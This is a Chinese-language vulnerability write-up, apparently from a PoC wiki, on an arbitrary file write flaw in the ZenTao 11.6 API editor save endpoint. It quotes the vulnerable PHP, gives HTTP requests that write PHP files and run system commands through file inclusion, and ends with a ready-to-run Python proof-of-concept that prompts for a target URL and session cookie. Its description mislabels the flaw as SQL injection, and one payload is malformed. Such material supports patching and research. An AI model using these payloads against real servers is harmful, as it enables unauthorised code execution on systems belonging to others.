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192 lines
6.8 KiB
Markdown
192 lines
6.8 KiB
Markdown
# 禅道 11.6 api-getModel-editor-save-filePath 任意文件写入漏洞
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## 漏洞描述
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禅道 11.6 版本中对用户接口调用权限过滤不完善，导致调用接口执行SQL语句导致SQL注入
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## 影响版本
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```
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禅道 11.6
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```
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## 环境搭建
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这里使用docker环境搭建
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```plain
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docker run --name zentao_v11.6 -p 8084:80 -v /u01/zentao/www:/app/zentaopms -v /u01/zentao/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d docker.io/yunwisdom/zentao:v11.6
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```
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访问 [**http://xxx.xxx.xxx.xxx:8084**](http://xxx.xxx.xxx.xxx:8084) 按步骤安装即可
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## 漏洞复现
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这里造成漏洞的原因同样是调用接口权限无限制的原因
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接口出现漏洞的原因具体参考可以查看上一篇 **禅道 11.6版本 SQL注入漏洞** 关于此漏洞的完整分析
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查看**module/api/ediyor/moudel.php**下的**save方法**
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```php
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public function save($filePath)
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{
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$fileContent = $this->post->fileContent;
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$evils = array('eval', 'exec', 'passthru', 'proc_open', 'shell_exec', 'system', '$$', 'include', 'require', 'assert');
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$gibbedEvils = array('e v a l', 'e x e c', ' p a s s t h r u', ' p r o c _ o p e n', 's h e l l _ e x e c', 's y s t e m', '$ $', 'i n c l u d e', 'r e q u i r e', 'a s s e r t');
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$fileContent = str_ireplace($gibbedEvils, $evils, $fileContent);
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if(get_magic_quotes_gpc()) $fileContent = stripslashes($fileContent);
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$dirPath = dirname($filePath);
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$extFilePath = substr($filePath, 0, strpos($filePath, DS . 'ext' . DS) + 4);
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if(!is_dir($dirPath) and is_writable($extFilePath)) mkdir($dirPath, 0777, true);
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if(is_writable($dirPath))
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{
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file_put_contents($filePath, $fileContent);
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}
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else
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{
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die(js::alert($this->lang->editor->notWritable . $extFilePath));
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}
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}
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```
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**$filePath参数和$fileContent参数** 我们是可控的
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调用方法往 **/tmp**写入一个**phpinfo()**
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```plain
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http://xxx.xxx.xxx.xxx/api-getModel-editor-save-filePath=/tmp/shell.php
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POST:fileContent=<?php phpinfo();?>
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```
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在利用 禅道 11.6版本 任意文件读取漏洞 第二种方法来文件包含
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```plain
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http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/tmp/shell/1
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```
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也可以写入网站目录中
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先获取地址
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```plain
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http://xxx.xxx.xxx.xxx/api-getModel-editor-save-filePath=/tmp/shell
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POST：fileContent=<?php system('find / -name ioncube.php')?>');?>
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```
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访问[**http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/tmp/shell/1**](http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/tmp/shell/1)
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得到目录为 **/app/zentaopma/www**
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请求改为
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```plain
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http://xxx.xxx.xxx.xxx/api-getModel-editor-save-filePath=/tmp/shell
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fileContent=<?php file_put_contents('/app/zentaopms/www/xxx.php', '<?php phpinfo();?>');?>
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```
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再去访问[**http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/tmp/shell/1**](http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/tmp/shell/1)则会再网站目录下生成 xxx.php 文件
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## 漏洞POC
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```python
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#!/usr/bin/python3
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#-*- coding:utf-8 -*-
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# author : PeiQi
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# from : http://wiki.peiqi.tech
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import base64
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import requests
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import random
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import re
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import json
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import sys
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def title():
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print('+------------------------------------------')
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print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
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print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
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print('+ \033[34m公众号 : PeiQi文库 \033[0m')
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print('+ \033[34mVersion: zentao version = 11.6 \033[0m')
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print('+ \033[36m使用格式: python3 poc.py \033[0m')
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print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
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print('+ \033[36mZentaosid >>> xxxxxxxxxxxxxx(cookie字段) \033[0m')
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print('+------------------------------------------')
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def POC_1(target_url):
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version_url = target_url + "/www/index.php?mode=getconfig"
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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}
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try:
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response = requests.get(url=version_url, timeout=20, headers=headers)
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version = json.loads(response.text)['version']
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print("\033[32m[o] 禅道版本为:{}\033[0m".format(version))
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except Exception as e:
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print("\033[31m[x] 获取版本失败 \033[0m", e)
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sys.exit(0)
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def POC_2(target_url, zentaosid):
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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"Cookie": "zentaosid={}".format(zentaosid)
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}
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data = {"fileContent":"<?php phpinfo();?>"}
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write_url = target_url + "/api-getModel-editor-save-filePath=/tmp/test"
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try:
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response = requests.post(url=write_url, data=data, headers=headers, timeout=10)
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print("\033[32m[o] 尝试写入php文件... \033[0m")
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except:
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print("\033[31m[x] 写入php文件失败 \033[0m")
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sys.exit(0)
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def POC_3(target_url, zentaosid):
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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"Cookie": "zentaosid={}".format(zentaosid)
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}
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vuln_url = target_url + "/api-getModel-api-getMethod-filePath=/tmp/test/1"
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try:
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response = requests.get(url=vuln_url, headers=headers, timeout=10)
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if "System" in response.text:
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print("\033[32m[o] 成功写入文件，存在漏洞, 访问 {}/api-getModel-api-getMethod-filePath=/tmp/test/1/ 查看 \033[0m".format(target_url))
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else:
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print("\033[31m[x] 读取php文件失败 \033[0m")
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except:
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print("\033[31m[x] 读取php文件失败 \033[0m")
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if __name__ == '__main__':
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title()
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target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
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zentaosid = str(input("\033[35mZentaosid >>> \033[0m"))
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POC_1(target_url)
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POC_2(target_url, zentaosid)
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POC_3(target_url, zentaosid)
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```
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